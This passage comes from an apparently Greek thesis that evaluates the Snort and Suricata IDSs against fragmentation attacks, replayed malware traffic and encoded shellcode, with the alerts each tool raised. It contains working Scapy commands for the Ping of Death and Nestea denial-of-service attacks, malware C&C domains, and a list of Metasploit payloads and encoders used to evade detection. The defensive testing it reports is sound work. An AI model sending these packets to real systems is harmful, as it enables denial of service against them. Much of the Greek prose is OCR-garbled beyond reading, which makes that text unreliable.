send(fragment(IP(dst="192.168.56.51")/ICMP()/("X"*67000)), verbose=0)

To Suricata dev mapfyaye edomomoeis. To Snort mapiyaye T €180TOMGES TOV TEPIAOUPAVEL O

[Mivaxog 8-39, ywpig OU®S Vo ETTVYYAVETOL TANPNG AVAYVOPLET TOV TOHTTOV TG emifeong.

IMivakag 8-39: Ewdomonjosig Tov Snort ywe to Ping of death

[**] [123:8:1] (spp_frag3) Fragmentation overlap [**] [Classification: Generic Protocol Command
Decode] [Priority: 3]

[**] [1:2014703:5] ET DNS Non-DNS or Non-Compliant DNS traffic on DNS port Reserved Bit
Set [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1]

[**] [1:2014702:6] ET DNS Non-DNS or Non-Compliant DNS traffic on DNS port Opcode 8
through 15 set [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1]

8.2.2.7.2 Nestea Attack

To Nestea Attack eivo évog tHmog eniBeong 0 0moiog TPUyUATOTOEITAL LE TV OTOGTOAN LidG GEIPAC
Koppotiov gvog Opoppoatiopévon mokétov. To mpdto koppdtt mov omootéAdetar €xst offset O
(evnuepdvovtag 0Tl TPOKELTAL Y10, TO TPMTO Koppatt) kot uéyebog N. Ta exdueva Koppdtio Exovv
tétoto offset mov odnyei oe emkoloyelg, Eemepvaviog Opmg to péyebog mov opileton amd to offset
Kol 10 pé€yefog Tov TEAEVTOIOL KOUUATION TOV TOKETOV. Me auTdv TOV TPOTO TO GLGTILLOTA TOV Eival

EVAAMOTO GE AVTEG TIG EMBECELG 001 YOVVTOL GE EMOVEKKIVION 1] KOTAPPELOT).

Mo v extéleon avtig g SoKIUNG OmooTdAOnKay Tpio KOppdtia &veg TOKETOL, TO Omoin

OMovpyNONKaAY ¥PNGLOTOL®VTUC TO SCapy.

send(IP(dst="192.168.56.50", id=42, flags="MF")/UDP()/("'X"*10), verbose=0)
send(IP(dst="192.168.56.50", id=42, frag=48)/("X"*116), verbose=0)
send(IP(dst="192.168.56.50", id=42, flags="MF")/UDP()/("X"*224), verbose=0)

To mpdto xoppdtt mepiedapuPave 10 yopaktipeg Kot gevepyomoinuévn v évoeiEn MF, tpoxeiévou
va dNAwBel 6Tt acorovBohv Kol emmAEov Koppdtio Tov TokéTov. To deutepo Koppdtt mepleAdpfove

116 yopoxtpeg ko offset 48 bytes. EmmpocOétmg dev eiye evepyomompévn v évéeiEn MF,
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TPOKEEVOL Vo, ONAmBOel OTL givar To TeEAgLTAIO KOUUATL TOV TOKETOV. Mg dedopéVO OTL TO TPADTO
koupatt eiye uéyebog 38 bytes (20 bytes n emkeporida IP, 8 bytes n emikeparido UDP kot 10 bytes
To. dedopéva), dnuovpynnke éva kevo 10 bytes 1o omoio ypetdletar vo kadveOei and emmpodcheta
KOUUATLIO TOVL TToKETOV. To Tpito Koppdtt Tov amootdidnke giyxe offset 0 xou péyebog mov Eemepvovoe
T0 TEAOG TOL TEAELTOIO KOUUOTIOD (TOL OmMOCTAAONKE OELTEPO), EMYEPOVTAG UEC® OVTNG TNG

EMKAALYTNG v 0dNYN0el o€ KATAPPEVOT TO GVGTILO GTOYOC.

O1 mivokeg mov akorovBovv mepthapfdvouy Tig £100m0oElg OV TTapdyOnKav ond to kébe IDS. Av
kot vanpéav €0omomoelg kot omd ta dvo IDSS, kovéva amd ovtd dev NTav oe Béom va

TPOYUATOTOGEL TAPT] OVOYVAOPLGT) TOL TOTOL TNG EMifeac.

IMivakag 8-40: Ewdomonjosig Tov Snort yia to Nestea Attack

[**] [123:3:1] (spp_frag3) Short fragment, possible DoS attempt [**] [Classification: Generic

Protocol Command Decode] [Priority: 3]

[**] [1:2014703:5] ET DNS Non-DNS or Non-Compliant DNS traffic on DNS port Reserved Bit

Set [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1]

[**] [1:2014702:6] ET DNS Non-DNS or Non-Compliant DNS traffic on DNS port Opcode 8
through 15 set [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1]

[**] [123:8:1] (spp_frag3) Fragmentation overlap [**] [Classification: Generic Protocol Command
Decode] [Priority: 3]

IMivakag 8-41: Eldomomjosig Tov Suricata ywe to Nestea Attack

[**] [1:2200070:1] SURICATA FRAG IPv4 Fragmentation overlap [**] [Classification: (null)]
[Priority: 3]

8.2.2.8 Malware

210)0¢ VTG TG Kartnyopiag dokudv givar 1 alordoynon tov IDSS g tpog t duvatdtnTd Toug Vo
aVIYVELGOLV TN OKTLOKN OpacTnpoTNTe oHopeadv. o  defaymyn avTtd®V TOV SOKIUOV
xpnowonomnkay apyeio .pcap ota omoio €ivol KOTOYEYPAUUEVT] T SIKTLOKY Kiviorm Oplopévev
opopemv. Mg t Ponbela tov epyadeiov tepreplay éywve avamapaymyn avTig ™G SIKTVOKNG KivioNg

Kot eEAEYyONKe N amokpion tov IDSS.

O Mivaxog 8-42 meprhapfavet tn poplodotnon mov Erafe to kdbe IDS yo kaOe pio amd T dokipuég

OVTNG TNG Kot yopiog.
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IMivakag 8-42: Avalvtikd otovyeio poprodotneng doxipdv katnyopiog Malware

A/A  Aoxipn Mopwa Snort  Moépra Suricata
1 SQL Slammer Worm 2 2
2 Flame 2 2
3  Trojan.Stabuniq 2 2
4 Sanny/Win32.Daws 2 2
5  W32.Vobfus / Worm_Vobfus 2 2
6  Zeus/Zbot 2 2
7  Skynet Tor botnet / Trojan.Thot 1 2
8  ZeroAccess / Sirefef Rootkit 0 0
9 W32/ Sdbot 2 2

8.2.2.8.1 SQL Slammer Worm

H 1opoper; SQL Slammer Worm gkpetodiedeton pio sumdbeio tomov buffer overflow tov MSSQL
Server, pe otoY0 TNV ApyNon VaNPECIOV. Lo TNV avamapay®yn e SIKTLAKNG Kiviong TG LOLOPPNG
ypnooromnke éva .pcap apyeio pe MD5 hash e051cedfe868bd4e78a451ealll7ec3c. Ot mivokecg

7OV aKoA0VOOVV TEPIAAUPAVOVY TIG E100TONGELS TOV TapdyOnKay amd o kdbe IDS.

IMivaxkag 8-43: Eldomoumjscig Tov Snort ywe to SQL Slammer Worm

[**] [1:2003:14] SQL Worm propagation attempt [**] [Classification: Misc Attack] [Priority: 2]

[**] [1:2004:13] SQL Worm propagation attempt OUTBOUND [**] [Classification: Misc Attack]
[Priority: 2]

[**] [1:4990:12] SERVER-MSSQL heap-based overflow attempt [**] [Classification: Attempted
Administrator Privilege Gain] [Priority: 1]

IMivakag 8-44: Eldomonjosig Tov Suricata ywe to SQL Slammer Worm

[**] [1:2003:14] SQL Worm propagation attempt [**] [Classification: Misc Attack] [Priority: 2]

[**] [1:2004:13] SQL Worm propagation attempt OUTBOUND [**] [Classification: Misc Attack]
[Priority: 2]
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[**] [1:4990:12] SERVER-MSSQL heap-based overflow attempt [**] [Classification: Attempted
Administrator Privilege Gain] [Priority: 1]

[**] [1:2050:17] SERVER-MSSQL version overflow attempt [**] [Classification: Attempted
Administrator Privilege Gain] [Priority: 1]

8.2.2.8.2 Flame

H 1opopoen Flame givan éva epyaieio katackoneiog otov kKufepvoy®dpo, To omoio divel T dvvatdtnta
oTOV eMTIOENEVO Vo VITOKAEWEL pio TANOmpa dedopévov amd 10 6tdyo Tov. To dedopéva mov
GUYKEVIPMVEL AmOoTEA OVTAL KpurToypapnuéve oe amopakpuopévoug C&C (Command & Control)
Servers, ypnoLonolmvIag T0 TP®MTOKOAALO0 SSL. o v avamapoaymyr TG SIKTLOKNAG Kivnong Tng
opopeng ypnotporonke £va .pcap apyeio ue MD5 hash d190d95b773e65f035990f60206b9ad5. O

mivaKog Tov akoAovdel TepAapPavel TIC 100TOMGELS TOV TapdyOnKay Kot ard Ta dvo IDS.

IMivakag 8-45: Ewdomonjoeis Tev Snort ke Suricata ywe to Flame

[**] [1:23020:1] BLACKLIST DNS request for known malware domain traffic-spot.com - Flame
[**] [Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:23021:1] BLACKLIST DNS request for known malware domain traffic-spot.biz - Flame
[**] [Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:23022:1] BLACKLIST DNS request for known malware domain smart-access.net - Flame
[**] [Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:23023:1] BLACKLIST DNS request for known malware domain quick-net.info - Flame
[**] [Classification: A Network Trojan was Detected] [Priority: 1]

8.2.2.8.3 Trojan.Stabuniq

H 1opopery Trojan.Stabuniq ocvykevipovel dedopéva amd TO HOAVGUEVO VTOAOYIOTH Kol TO
amooTéAAel 6 amopoakpuopéveg tomobesies. o v avomapaymyn tng SIKTLOKNG Kivnong tng
opopeNG ypnooromnke éva .pcap apyeio ue MD5 hash ¢984c¢f198f3d584eedabef24d5d37915. Ot

TVaKEG TOL 0KOAOLOOVV TEPIAAUPAVOLV TIG E100TOMGELG TTOL TTapdryOnKav amd to kabe IDS.

IMivakag 8-46: Eldomonjesig Tov Snort ywe to Trojan.Stabuniq

[**] [1:2016096:2] ET TROJAN W32/Stabuniqg CnC POST [**] [Classification: A Network Trojan
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was Detected] [Priority: 1]

[**] [1:25371:1]] MALWARE-CNC Win.Trojan.Ruskill variant outbound connection [**]

[Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:2016130:1] ET TROJAN Stabunig C&C Communication [**] [Classification: A Network
Trojan was Detected] [Priority: 1]

[**] [1:2010517:6] ET WEB_SERVER Possible HTTP 404 XSS Attempt (Local Source) [**]
[Classification: Web Application Attack] [Priority: 1]

IMivakag 8-47: Eldomomesig Tov Suricata yie to Trojan.Stabuniq

[**] [1:25371:1] MALWARE-CNC Win.Trojan.Ruskill variant outbound connection [**]
[Classification: A Network Trojan was detected] [Priority: 1]

[**] [1:2016130:2] ET TROJAN Stabuniq C&C Communication [**] [Classification: A Network
Trojan was detected] [Priority: 1]

[**] [1:2016096:3] ET TROJAN W32/Stabunig CnC POST [**] [Classification: A Network Trojan
was detected] [Priority: 1]

8.2.2.8.4 Sanny/Win32.Daws

H 1opopen Sanny / Win32.Daws cuykevip®dvel kat ovth d€60UEVE amd TO LOAVOUEVO VDITOAOYIGTI Kol
T amootélAel og £va forum 7 pio dievBuven niektpovikhg odinioypagiog. o v avoarapoymyn
™M OIKTVLOKNG Kivnong g 1ouopeng  ypnowonomdnke £va .pcap apyeio pe MD5 hash
e20dd76d389359e3949e6e3fb4dadfad. O1 mivakec mov akolovbovv meptlappdvouvv Tic £1860mOIGELG

Tov Topdydnkav and to kabe 1DS.

IMivaxkag 8-48: Exdomouoelg Tov Snort ywe to Sanny / Win32.Daws

[**] [1:2016050:2] ET TROJAN W32.Daws/Sanny CnC Initial Beacon [**] [Classification: A
Network Trojan was Detected] [Priority: 1]

[**] [1:25098:1] MALWARE-CNC Win.Dropper.Daws variant outbound connection [**]
[Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:2016051:3] ET TROJAN W32.Daws/Sanny CnC POST [**] [Classification: A Network
Trojan was Detected] [Priority: 1]
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[**] [1:25099:1] MALWARE-CNC Win.Dropper.Daws variant outbound connection [**]
[Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:2012889:2] ET POLICY Http Client Body contains pw= in cleartext [**] [Classification:
Potential Corporate Privacy Violation] [Priority: 1]

IMivaxkag 8-49: Eldomoumoeig Tov Suricata ywo to Sanny / Win32.Daws

[**] [1:2016050:2] ET TROJAN W32.Daws/Sanny CnC Initial Beacon [**] [Classification: A
Network Trojan was Detected] [Priority: 1]

[**] [1:25098:1] MALWARE-CNC Win.Dropper.Daws variant outbound connection [**]
[Classification: A Network Trojan was Detected] [Priority: 1]

8.2.2.8.5 W32.Vobfus/ Worm_Vobfus

H wpopery W32.Vobfus / Worm_Vobfus sivar dAAn pio opoper 1 omoia emikowvmvel e
amopakpvopévong C&C (Command & Control) Servers, yw v vmokiony, dedouévav. o v
AVOTOPUY®YN THG SIKTLAKNG KIivomg TNG 1opopeng ypnotpuorodnke Eva .pcap apyeio pe MD5 hash
d7b94633c4202ef5effc4ae8801258b0. O mivakag mov akoAovdel meptAapBavel Tig 100TONGELS TOV

mapdyOnkav Kot amd ta 6vo IDS.

IMivaxac 8-50: Edomoumocig Tov Snort ko Suricata ywa to W32.Vobfus / Worm_Vobfus

[**] [1:385:7] PROTOCOL-ICMP traceroute [**] [Classification: Attempted Information Leak]
[Priority: 2]

[**] [1:384:7] PROTOCOL-ICMP PING [**] [Classification: Misc activity] [Priority: 3]

[**] [1:408:7] PROTOCOL-ICMP Echo Reply [**] [Classification: Misc activity] [Priority: 3]

[**] [1:1917:9] SCAN UPnNP service discover attempt [**] [Classification: Detection of a Network
Scan] [Priority: 3]

[**] [1:24842:1] BLACKLIST DNS request for known malware domain nsl.helpupdater.net [**]
[Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:24843:1] BLACKLIST DNS request for known malware domain nsl.helpupdated.com [**]
[Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:19580:5] MALWARE-CNC Worm Win.Trojan.Basun.wsc inbound connection [**]
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[Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:2010973:4] ET TROJAN Vobfus/Changeup/Chinky Download Command [**]
[Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:11263:6] SERVER-APACHE Apache mod_ssl non-SSL connection to SSL port denial of
service attempt [**] [Classification: Attempted Denial of Service] [Priority: 2]

[**] [1:2015976:2] ET TROJAN WORM_VOBFUS Checkin Generic [**] [Classification: A
Network Trojan was Detected] [Priority: 1]

8.2.2.8.6 Zeus/ Zbot

H wpopeny Zeus / Zbot eivor pioo wopopeny 1 omoio emkowwvel pe amopaxpvcpévorg C&C
(Command & Control) Servers, yio v vrokAon S€30UEV®Y. TOL OPOPOVY SLATIGTEVTHPLO GUVOEST|G
pe Tpaneliucég vanpeoies, KaBmS kot GALa Tpocwmikd dedopéva. [ v avarapoaywyn g SIKTLaKNG
Kivnong ¢ opopeng  xpnowomombnke  éva  .pcap  apyeio pe  MD5  hash
baf9e44203f12b06624fd88fe94eb4dl. Ot mivakeg mov akolovBodv TEPLOUPAVOVY TIC EI00TOMNGCELS

7oV TopayOnkav amd to kade IDS.

IMivaxkag 8-51: Eldomouoeig Tov Snort ywa to Zeus / Zbot

[**] [1:25050:1] MALWARE-CNC Win.Trojan.Zeus variant outbound connection [**]
[Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:2000419:17] ET POLICY PE EXE or DLL Windows file download [**] [Classification:
Potential Corporate Privacy Violation] [Priority: 1]

[**] [1:15306:16] FILE-IDENTIFY Portable Executable binary file magic detected [**]
[Classification: Misc activity] [Priority: 3]

[**] [1:2014545:2] ET CURRENT_EVENTS TDS Sutra - page redirecting to a SutraTDS [**]
[Classification: Potentially Bad Traffic] [Priority: 2]

[**] [1:21848:3] MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS [**]
[Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:21846:3] MALWARE-CNC TDS Sutra - request in.cgi [**] [Classification: A Network
Trojan was Detected] [Priority: 1]

[**] [1:2014543:1] ET CURRENT_EVENTS TDS Sutra - request in.cgi [**] [Classification:
Potentially Bad Traffic] [Priority: 2]
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[**] [1:2014542:2] ET CURRENT_EVENTS TDS Sutra - redirect received [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:21845:3] MALWARE-CNC TDS Sutra - redirect received [**] [Classification: A Network
Trojan was Detected] [Priority: 1]

[**] [1:24168:2] INDICATOR-OBFUSCATION hidden iframe - potential include of malicious
content [**] [Classification: Potentially Bad Traffic] [Priority: 2]

[**] [1:19177:7] SERVER-WEBAPP cookiejacking attempt [**] [Classification: Attempted
Information Leak] [Priority: 2]

[**] [1:16642:6] POLICY-OTHER file URI scheme attempt [**] [Classification: Potential
Corporate Privacy Violation] [Priority: 1]

[**] [120:8:1] (http_inspect) INVALID CONTENT-LENGTH OR CHUNK SIZE [**]
[Classification: Unknown Traffic] [Priority: 3]

[**] [1:15362:8] INDICATOR-OBFUSCATION obfuscated javascript excessive fromCharCode -
potential attack [**] [Classification: Misc activity] [Priority: 3]

[**] [119:8:1] (http_inspect) MULTI_SLASH ENCODING [**] [Classification: Not Suspicious
Traffic] [Priority: 3]

[**] [120:3:1] (http_inspect) NO CONTENT-LENGTH OR TRANSFER-ENCODING IN HTTP
RESPONSE [**] [Classification: Unknown Traffic] [Priority: 3]

IMivaxkag 8-52: Exdomoujoelg Tov Suricata ywe to Zeus / Zbot

[**] [1:2406128:295] ET RBN Known Russian Business Network IP (65) [**] [Classification:
(nul)] [Priority: 3]

[**] [1:25050:1] MALWARE-CNC Win.Trojan.Zeus variant outbound connection [**]
[Classification: A Network Trojan was detected] [Priority: 1]

[**] [1:2000419:21] ET POLICY PE EXE or DLL Windows file download [**] [Classification:
Potential Corporate Privacy Violation] [Priority: 1]

[**] [1:15306:16] FILE-IDENTIFY Portable Executable binary file magic detected [**]
[Classification: Misc activity] [Priority: 3]

[**] [1:2014543:2] ET CURRENT_EVENTS TDS Sutra - request in.cgi [**] [Classification:
Potentially Bad Traffic] [Priority: 2]
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[**] [1:21846:3] MALWARE-CNC TDS Sutra - request in.cgi [**] [Classification: A Network
Trojan was detected] [Priority: 1]

[**] [1:2406130:295] ET RBN Known Russian Business Network IP (66) [**] [Classification:
(null)] [Priority: 3]

[**] [1:1:1] FILEEXT JPG file claimed [**] [Classification: (null)] [Priority: 3]

[**] [1:2406276:295] ET RBN Known Russian Business Network IP (139) [**] [Classification:
(null)] [Priority: 3]

[**] [1:19177:7] SERVER-WEBAPP cookiejacking attempt [**] [Classification: Attempted
Information Leak] [Priority: 2]

[**] [1:16642:6] POLICY-OTHER file URI scheme attempt [**] [Classification: Potential
Corporate Privacy Violation] [Priority: 1]

[**] [1:24168:2] INDICATOR-OBFUSCATION hidden iframe - potential include of malicious
content [**] [Classification: Potentially Bad Traffic] [Priority: 2]

[**] [1:2014545:4] ET CURRENT_EVENTS TDS Sutra - page redirecting to a SutraTDS [**]
[Classification: Potentially Bad Traffic] [Priority: 2]

[**] [1:21848:3] MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS [**]
[Classification: A Network Trojan was detected] [Priority: 1]

[**] [1:2014542:3] ET CURRENT_EVENTS TDS Sutra - redirect received [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:15362:8] INDICATOR-OBFUSCATION obfuscated javascript excessive fromCharCode -
potential attack [**] [Classification: Misc activity] [Priority: 3]

[**] [1:2406794:295] ET RBN Known Russian Business Network IP (398) [**] [Classification:
(null)] [Priority: 3]

[**] [1:2406338:295] ET RBN Known Russian Business Network IP (170) [**] [Classification:
(null)] [Priority: 3]

[**] [1:19887:3] INDICATOR-OBFUSCATION potential javascript unescape obfuscation attempt
detected [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1]

Eykotdoraon ko Hepopotiky Melétn Zvotnudrwv Aviyvevons Eigfoiov Zelioa 158



8.2.2.8.7 Skynet Tor botnet / Trojan.Thot

H wopopeny Skynet Tor botnet / Trojan.Thot éyer duvototnteg embéocemwv Gpvnong vaNPecIHV,
bitcoin-mining kot vrokiomng damicTevTnpi®V cVvdeong pe Tpanelikég vinpeoiec. H 1dioutepdnTd
OV gival To yeyovog OTL 1 emkowovia pe tovg amopokpvouévovrg C&C (Command & Control)
Servers yivetal péo® Tov STV avovopiog Tor. Meta&d drhov mepthappdvel to ZeuS bot kat Eévov
Tor client ywo Windows. To v ovamopoywyn ¢ OIKTLOKNAG KIVIionG NG  LOMOPPNG
ypnooromOnke éva .pcap apyeio pe MD5 hash 511b6f7ecd96101b59b0f0074b0851d8.

O1 mtivakeg Tov akoAovdovv TePIAaUPAvVoLV TIC E100TOMGELS OV TopayOnkay amd to kabe IDS. To
CUUTEPOCUN TOL TPOKVATEL €ivol OTL To Suricata xatdgepe vo, aviyvedoel TANP®S TIG VTOTTES
dpaoTNPIOTNTEG TN OHOPPNG, EVM TO SNOIt ov kol KATAPEPE VO, TNV OVIYVEDCEL gV AP YOAYE

aVTIGTOL 0 TANPELS ELOOMOINCELS,

IMivakag 8-53: Eldomomjesig Tov Snort yia to Skynet Tor botnet / Trojan. Thot

[**] [1:384:7] PROTOCOL-ICMP PING [**] [Classification: Misc activity] [Priority: 3]

[**] [1:2012758:4] ET INFO DYNAMIC_DNS Query to *.dyndns. Domain [**] [Classification:
Misc activity] [Priority: 3]

[**] [1:2014932:1] ET POLICY DynDNS Checklp External IP Address Server Response [**]
[Classification: Potentially Bad Traffic] [Priority: 2]

[**] [1:2013076:6] ET TROJAN Zeus Bot GET to Google checking Internet connectivity [**]
[Classification: A Network Trojan was Detected] [Priority: 1]

[**] [120:8:1] (http_inspect) INVALID CONTENT-LENGTH OR CHUNK SIZE [**]
[Classification: Unknown Traffic] [Priority: 3]

[**] [120:3:1] (http_inspect) NO CONTENT-LENGTH OR TRANSFER-ENCODING IN HTTP
RESPONSE [**] [Classification: Unknown Traffic] [Priority: 3]

MMivaxag 8-54: Exdomomosig Tov Suricata ywe to Skynet Tor botnet / Trojan.Thot

[**] [1:384:7] PROTOCOL-ICMP PING [**] [Classification: Misc activity] [Priority: 3]

[**] [1:2012758:4] ET INFO DYNAMIC_DNS Query to *.dyndns. Domain [**] [Classification:
Misc activity] [Priority: 3]

[**] [1:2014932:2] ET POLICY DynDNS Checklp External IP Address Server Response [**]
[Classification: Potentially Bad Traffic] [Priority: 2]
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[**] [1:2520092:1392] ET TOR Known Tor Exit Node Traffic (47) [**] [Classification: Misc
Attack] [Priority: 2]

[**] [1:2520154:1392] ET TOR Known Tor Exit Node Traffic (78) [**] [Classification: Misc
Attack] [Priority: 2]

[**] [1:2520060:1392] ET TOR Known Tor Exit Node Traffic (31) [**] [Classification: Misc
Attack] [Priority: 2]

[**] [1:2406338:295] ET RBN Known Russian Business Network IP (170) [**] [Classification:
(null)] [Priority: 3]

[**] [1:2520014:1392] ET TOR Known Tor Exit Node Traffic (8) [**] [Classification: Misc
Attack] [Priority: 2]

[**] [1:2013076:7] ET TROJAN Zeus Bot GET to Google checking Internet connectivity [**]
[Classification: A Network Trojan was detected] [Priority: 1]

[**] [1:2016067:2] ET POLICY Possible BitCoin Miner User-Agent (miner) [**] [Classification: A
Network Trojan was detected] [Priority: 1]

[**] [1:2006402:10] ET POLICY Incoming Basic Auth Base64 HTTP Password detected

unencrypted [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1]

8.2.2.8.8 ZeroAccess / Sirefef Rootkit

To ZeroAccess givor pia ovAloyn amd rootkits kar backdoors, n omoio enttpénel oTovC eMTIOEUEVOLC
Vo EAEYYOVV OO ATOCTOCT TOVG HOAVGUEVOLS VITOAOYIOTEG. XPNOIUOTOIEITOL TOAD GLYVA Yo TV
avakatevBovvon ¢ kivnong tov ypnotov. o v ovomapoaywyn e SIKTLOKNG Kivnong g
opopeNg ypnopomombnke éva .pcap apyeio pe MD5 hash dc584af560c89627c8c1c04e2e50452f.

Kavéva amo ta dvo IDSs dev mapnyaye £100momoe1g KOTA T1 S1dpKELD TG SOKIUNG.

8.2.2.8.9 W32/ Sdbot

H wopopery W32 / Sdbot cuvdéetan péom evog kavaiod IRC oe évav C&C Server kot avouével
evioAég amd tov emtiBéuevo. Ta v avomapaymyn TG OWKTLOKNG KIivomg NG LOMOPPNG
ypnolporombnke éva. .pcap apyeio pe MD5 hash ¢3866f619e9dd74add82dce9b6c9481e. Ot mivakeg

7OV 0k0A0VOOVV TEPIAAUPAVOVV TIG E100TTONGELS TOV TapayOnKay amd to kabe IDS.
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IMivakag 8-55: Ewdomomosis Tov Snort ywa to W32 / Sdbot

[**] [1:1201:12] INDICATOR-COMPROMISE 403 Forbidden [**] [Classification: Attempted
Information Leak] [Priority: 2]

[**] [1:2000345:15] ET TROJAN IRC Nick change on non-standard port [**] [Classification: A
Network Trojan was Detected] [Priority: 1]

[**] [1:20089:7] INDICATOR-COMPROMISE IRC nick change on non-standard port [**]
[Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:2008123:7] ET TROJAN Likely Bot Username in IRC (XP-.) [**] [Classification: A
Network Trojan was Detected] [Priority: 1]

[**] [1:2000348:12] ET TROJAN IRC Channel JOIN on non-standard port [**] [Classification: A
Network Trojan was Detected] [Priority: 1]

[**] [1:20092:7] INDICATOR-COMPROMISE IRC channel join on non-standard port [**]
[Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:20094.6] INDICATOR-COMPROMISE IRC message on non-standard port [**]
[Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:2000348:12] ET TROJAN IRC Channel JOIN on non-standard port [**] [Classification: A
Network Trojan was Detected] [Priority: 1]

[**] [1:2003047:4] ET POLICY Proxy Judge Discovery/Evasion (prxjdg.cgi) [**] [Classification:
Potential Corporate Privacy Violation] [Priority: 1]

[**] [120:8:1] (http_inspect) INVALID CONTENT-LENGTH OR CHUNK SIZE [**]
[Classification: Unknown Traffic] [Priority: 3]

[**] [120:3:1] (http_inspect) NO CONTENT-LENGTH OR TRANSFER-ENCODING IN HTTP
RESPONSE [**] [Classification: Unknown Traffic] [Priority: 3]

[**] [1:2000347:13] ET TROJAN IRC Private message on non-standard port [**] [Classification:
A Network Trojan was Detected] [Priority: 1]

[**] [1:2003047:4] ET POLICY Proxy Judge Discovery/Evasion (prxjdg.cgi) [**] [Classification:
Potential Corporate Privacy Violation] [Priority: 1]

[**] [1:20093:6] INDICATOR-COMPROMISE IRC channel notice on non-standard port [**]
[Classification: A Network Trojan was Detected] [Priority: 1]
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IMivakag 8-56: Ewdomoujosis Tov Suricata ywe to W32 / Sdbot

[**] [1:2000345:15] ET TROJAN IRC Nick change on non-standard port [**] [Classification: A
Network Trojan was Detected] [Priority: 1]

[**] [1:20089:7] INDICATOR-COMPROMISE IRC nick change on non-standard port [**]
[Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:2008123:7] ET TROJAN Likely Bot Username in IRC (XP-.) [**] [Classification: A
Network Trojan was Detected] [Priority: 1]

[**] [1:20092:7] INDICATOR-COMPROMISE IRC channel join on non-standard port [**]
[Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:20094:6] INDICATOR-COMPROMISE IRC message on non-standard port [**]
[Classification: A Network Trojan was Detected] [Priority: 1]

[**] [1:2000348:12] ET TROJAN IRC Channel JOIN on non-standard port [**] [Classification: A
Network Trojan was Detected] [Priority: 1]

[**] [1:2000347:13] ET TROJAN IRC Private message on non-standard port [**] [Classification:
A Network Trojan was Detected] [Priority: 1]

[**] [1:2003047:4] ET POLICY Proxy Judge Discovery/Evasion (prxjdg.cgi) [**] [Classification:
Potential Corporate Privacy Violation] [Priority: 1]

8.2.2.9 Shellcodes

2100G 0TNG NG Kartnyopiog dokumy givar  a&ordynon tov IDSS w¢ tpog t dvvatdtTd ToUg va
avivevoovv shellcodes. O Tlivakog 8-57 nepthappavel ™ poproddtmon mov dape to kébe IDS yio

KGOe pio amd TIC SOKIES LTS TNG KOTNYopiag.

MMivakag 8-57: AvalvTikd cToryeio poprodotnong dokipdv karnyopiag Shellcodes

A/A  Aoxipn Mopwo Snort  Mopwa Suricata
1  SHELLCODE ** sparc setuid 0 2 2
2 SHELLCODE x86 setgid 2 2
3 SHELLCODE IRIX SGI + NOOP 0 0
4  SHELLCODE metasploit windows/exec 0 0
5  SHELLCODE metasploit windows/shell_bind_tcp 0 0
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A/A  Aoxipn Mopwa Snort  Moépra Suricata
6  SHELLCODE metasploit windows/shell_reverse_tcp 0 0
7  SHELLCODE metasploit windows/upexec/bind_tcp 0 0
8  SHELLCODE x86 setgid 0 && SHELLCODE x86 ) )
setuid 0

9  SHELLCODE x86 setgid 0 && SHELLCODE x86 0 0
setuid O using encoder x86/shikata_ga_nai

10 SHELLCODE x86 setgid 0 && SHELLCODE x86 s )
setuid 0 using encoder x86/alpha_mixed

11  SHELLCODE x86 setgid 0 && SHELLCODE x86 . .
setuid 0 using encoder x86/alpha_upper

12 SHELLCODE x86 setgid 0 && SHELLCODE x86 5 5
setuid 0 using encoder 86/avoid_underscore_tolower

13 SHELLCODE x86 setgid 0 && SHELLCODE x86 . .
setuid 0 using encoder x86/call4_dword_xor

14  SHELLCODE x86 setgid 0 && SHELLCODE x86 5 )
setuid 0 using encoder x86/context_cpuid

15 SHELLCODE x86 setgid 0 && SHELLCODE x86 . .
setuid 0 using encoder x86/context_stat

16 SHELLCODE x86 setgid 0 && SHELLCODE x86 ) )
setuid 0 using encoder x86/countdown

17  SHELLCODE x86 setgid 0 && SHELLCODE x86 . .
setuid 0 using encoder x86/fnstenv_mov

18 SHELLCODE x86 setgid 0 && SHELLCODE x86 ) )
setuid O using encoder x86/jmp_call_additive

19 SHELLCODE x86 setgid 0 && SHELLCODE x86 . .
setuid 0 using encoder x86/nonalpha

20 SHELLCODE x86 setgid 0 && SHELLCODE x86 ) )
setuid 0 using encoder x86/single_static_bit

21  SHELLCODE x86 setgid 0 && SHELLCODE x86 2 0
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A/A  Aoxipn Moépwa Snort  Mopwa Suricata

setuid 0 using encoder x86/alpha_mixed 5 iterations

22  SHELLCODE x86 setgid 0 && SHELLCODE x86 ) )
setuid 0 using encoder x86/fnstenv_mov 20 iterations

23  SHELLCODE x86 setgid 0 && SHELLCODE x86
setuid 0 using encoders x86/alpha_mixed and 2 2
x86/alpha_upper

24  SHELLCODE x86 setgid 0 && SHELLCODE x86
setuid 0 using encoders x86/alpha_upper, > )
x86/shikata_ga_nai and x86/jmp_call_additive with
multiple iterations

25 SHELLCODE x86 setgid 0 && SHELLCODE x86
setuid 0 using encoders x86/alpha_upper and 0 0
x86/shikata_ga_nai with multiple iterations

26 SHELLCODE x86 setgid 0 && SHELLCODE x86
setuid 0 using encoders x86/alpha_mixed and 2 2
x86/avoid_underscore_tolower

27  SHELLCODE x86 setuid 0 2 2

28  win32_bind_dllinject - EXITFUNC=seh DLL=c:\ 5 5
